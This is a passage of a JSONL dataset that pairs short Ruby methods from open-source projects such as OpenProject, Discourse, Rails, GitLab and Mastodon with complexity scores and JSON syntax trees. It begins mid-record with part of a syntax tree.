ai_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"_embeddings_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"str\",\"children\":[\"_1_search_bit;\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"memo\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"drop_statements\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"drop_statements\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"amend_statements\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]},\"reduce\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memo\"]},{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_definitions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ed\"]},\"id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correctly_indexed?\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"amended_idxs\",{\"type\":\"lvar\",\"children\":[\"model\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"memo\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"amend_statements\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"amend_statements\"]}]},null]}]}]}","id":"5a8ba873-c5ac-46ee-89d1-cc51da8304fa"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":358,"raw_source":"def template_valid_error_message\n    validate_template[:message]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"template_valid_error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_template\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}","id":"0b6729b4-b540-4bba-a0ba-f220b2feee5e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/automation_rules_controller.rb","start_line":34,"raw_source":"def destroy\n    @automation_rule.destroy!\n    head :ok\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@automation_rule\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"e53874ac-4353-42c7-804f-48c5e5f6218e"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_embedding_posts_and_topics.rb","start_line":6,"raw_source":"def fill_in_embed_by_username(author)\n        dropdown =\n          PageObjects::Components::SelectKit.new(\n            \".admin-embedding-posts-and-topics-form__embed_by_username\",\n          )\n        dropdown.expand\n        dropdown.search(author.username)\n        dropdown.select_row_by_value(author.username)\n        dropdown.collapse\n        self\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_embed_by_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"author\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dropdown\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"SelectKit\"]},\"new\",{\"type\":\"str\",\"children\":[\".admin-embedding-posts-and-topics-form__embed_by_username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown\"]},\"expand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown\"]},\"search\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown\"]},\"select_row_by_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dropdown\"]},\"collapse\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"bd59bd9d-14a0-4e1d-b4e2-289fa8c1cb1a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/principals/scopes/like.rb","start_line":41,"raw_source":"def like(query, email: true)\n        firstnamelastname = \"((firstname || ' ') || lastname)\"\n        lastnamefirstname = \"((lastname || ' ') || firstname)\"\n\n        s = \"%#{query.to_s.downcase.strip.tr(',', '')}%\"\n\n        sql = <<~SQL.squish\n          LOWER(login) LIKE :s\n          OR unaccent(LOWER(#{firstnamelastname})) LIKE unaccent(:s)\n          OR unaccent(LOWER(#{lastnamefirstname})) LIKE unaccent(:s)\n        SQL\n\n        order_clause = %i[type login lastname firstname]\n\n        if email\n          sql += \" OR LOWER(mail) LIKE :s\"\n          order_clause << :mail\n        end\n\n        where([sql, { s: }])\n          .order(*order_clause)\n      end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"like\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"kwoptarg\",\"children\":[\"email\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firstnamelastname\",{\"type\":\"str\",\"children\":[\"((firstname || ' ') || lastname)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lastnamefirstname\",{\"type\":\"str\",\"children\":[\"((lastname || ' ') || firstname)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"to_s\"]},\"downcase\"]},\"strip\"]},\"tr\",{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(login) LIKE :s\\n\"]},{\"type\":\"str\",\"children\":[\"OR unaccent(LOWER(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firstnamelastname\"]}]},{\"type\":\"str\",\"children\":[\")) LIKE unaccent(:s)\\n\"]},{\"type\":\"str\",\"children\":[\"OR unaccent(LOWER(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lastnamefirstname\"]}]},{\"type\":\"str\",\"children\":[\")) LIKE unaccent(:s)\\n\"]}]},\"squish\"]}]},{\"type\":\"lvasgn\",\"children\":[\"order_clause\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"login\"]},{\"type\":\"sym\",\"children\":[\"lastname\"]},{\"type\":\"sym\",\"children\":[\"firstname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\"]},\"+\",{\"type\":\"str\",\"children\":[\" OR LOWER(mail) LIKE :s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_clause\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"mail\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s\"]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}]}]},\"order\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_clause\"]}]}]}]}]}","id":"e38cc502-4468-44ee-810b-277a4db15ec1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/autoroute.rb","start_line":457,"raw_source":"def route_compatible?\n    session.respond_to?(:net) &&\n      session.net.config.respond_to?(:each_route)\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"route_compatible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"net\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"net\"]},\"config\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"each_route\"]}]}]}]}","id":"27c0f158-63a7-4837-8b35-89519ceaa856"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/references.rb","start_line":90,"raw_source":"def link_attachments(str, attachments)\n      return str if str.blank?\n\n      str.gsub(/##attachment(\\.id)?:\"[^\"]+\"/) do |match|\n        file = match.split(\":\", 2).last[1..-2] # strip quotes of part behind :\n        attachment = attachments.where(file:).first!\n\n        if match.include?(\".id\")\n          attachment.id\n        else\n          api_url_helpers.attachment_content attachment.id\n        end\n      end\n    end","complexity_score":21.65,"ast_json":"{\"type\":\"def\",\"children\":[\"link_attachments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"attachments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"##attachment(\\\\.id)?:\\\"[^\\\"]+\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]},\"last\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"attachment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachments\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},\"first!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"include?\",{\"type\":\"str\",\"children\":[\".id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_url_helpers\"]},\"attachment_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"id\"]}]}]}]}]}]}]}","id":"2a63c863-f4a0-4850-bfe4-b6f24e0de815"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/user_preferences/update_service.rb","start_line":60,"raw_source":"def persist_notifications\n      global, project = notifications\n                          .map { |item| item.merge(user_id: model.user_id) }\n                          .partition { |setting| setting[:project_id].nil? }\n\n      global_ids = upsert_notifications(global, %i[user_id], \"project_id IS NULL\")\n      project_ids = upsert_notifications(project, %i[user_id project_id], \"project_id IS NOT NULL\")\n\n      global_ids + project_ids\n    end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"persist_notifications\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"global\"]},{\"type\":\"lvasgn\",\"children\":[\"project\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifications\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"user_id\"]}]}]}]}]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"nil?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"global_ids\",{\"type\":\"send\",\"children\":[null,\"upsert_notifications\",{\"type\":\"lvar\",\"children\":[\"global\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"str\",\"children\":[\"project_id IS NULL\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[null,\"upsert_notifications\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"str\",\"children\":[\"project_id IS NOT NULL\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"global_ids\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"project_ids\"]}]}]}]}","id":"b95e8a3f-d68e-4931-95f8-46a72a3a98e6"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/wiki_menu_helper.rb","start_line":94,"raw_source":"def push_wiki_menu_partial(main_item, menu)\n    menu.push :wiki_menu_partial,\n              { controller: \"/wiki\", action: \"show\" },\n              parent: main_item.menu_identifier,\n              partial: \"wiki/menu_pages_tree\",\n              last: true\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"push_wiki_menu_partial\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"main_item\"]},{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"push\",{\"type\":\"sym\",\"children\":[\"wiki_menu_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_item\"]},\"menu_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"wiki/menu_pages_tree\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"52f43427-c7a8-4d47-8f82-a17bf2f4c9a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/14_pipelines.rb","start_line":218,"raw_source":"def find_or_create_job_definition(attributes, pipeline)\n    new_definition = Ci::JobDefinition.fabricate(\n      config: attributes,\n      project_id: pipeline.project_id,\n      partition_id: pipeline.partition_id)\n\n    existing_defintion = Ci::JobDefinition.find_by(\n      checksum: new_definition.checksum,\n      project_id: new_definition.project_id,\n      partition_id: new_definition.partition_id)\n\n    return existing_defintion if existing_defintion\n\n    new_definition.save!\n    new_definition\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_job_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]},{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_definition\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"JobDefinition\"]},\"fabricate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"partition_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_defintion\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"JobDefinition\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"checksum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_definition\"]},\"checksum\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_definition\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_definition\"]},\"partition_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_defintion\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_defintion\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_definition\"]},\"save!\"]},{\"type\":\"lvar\",\"children\":[\"new_definition\"]}]}]}","id":"aff3506c-1392-44a7-be7a-6062db156a59"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb","start_line":25,"raw_source":"def channel_with_prefix(channel)\n          [@server.config.cable[:channel_prefix], channel].compact.join(\":\")\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"channel_with_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"config\"]},\"cable\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel_prefix\"]}]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}","id":"e4b1756e-1449-4f55-a3c7-9649500a3a79"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":2187,"raw_source":"def fix_name(name)\n    name.scrub! if name && !name.valid_encoding?\n    return if name.blank?\n    # TODO Support Unicode if allowed in site settings and try to reuse logic from UserNameSuggester if possible\n    name = ActiveSupport::Inflector.transliterate(name)\n    name.gsub!(/[^\\w.-]+/, \"_\")\n    name.gsub!(/^\\W+/, \"\")\n    name.gsub!(/[^A-Za-z0-9]+$/, \"\")\n    name.gsub!(/([-_.]{2,})/) { $1.first }\n    name.strip!\n    name.truncate(60)\n    name\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"fix_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"valid_encoding?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"scrub!\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"transliterate\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\w.-]+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\W+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^A-Za-z0-9]+$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"([-_.]{2,})\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"strip!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"truncate\",{\"type\":\"int\",\"children\":[60]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"24509d60-3c6d-4ad8-8b93-0b01bbbd05d4"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_sql.rb","start_line":677,"raw_source":"def check_exists arg\n    if call? arg and arg.method == :to_s\n      false\n    else\n      check_find_arguments arg\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"check_find_arguments\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]}","id":"69de658a-6038-4612-9c5b-bf56b301af2a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/change_table_test.rb","start_line":25,"raw_source":"def expect(method, returns, args, **kwargs)\n          if !kwargs.empty?\n            @connection.expect(method, returns, [*args, kwargs])\n          else\n            @connection.expect(method, returns, args)\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"returns\"]},{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"expect\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"returns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"expect\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"returns\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"874ae583-cb02-4911-a851-eb0fb5fc40d7"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/scheduled_status.rb","start_line":33,"raw_source":"def validate_total_limit\n    errors.add(:base, I18n.t('scheduled_statuses.over_total_limit', limit: TOTAL_LIMIT)) if account.scheduled_statuses.count >= TOTAL_LIMIT\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_total_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"scheduled_statuses\"]},\"count\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"TOTAL_LIMIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"scheduled_statuses.over_total_limit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"TOTAL_LIMIT\"]}]}]}]}]},null]}]}","id":"f193ce53-d663-4f3d-b51c-07ff29ad4ef8"}
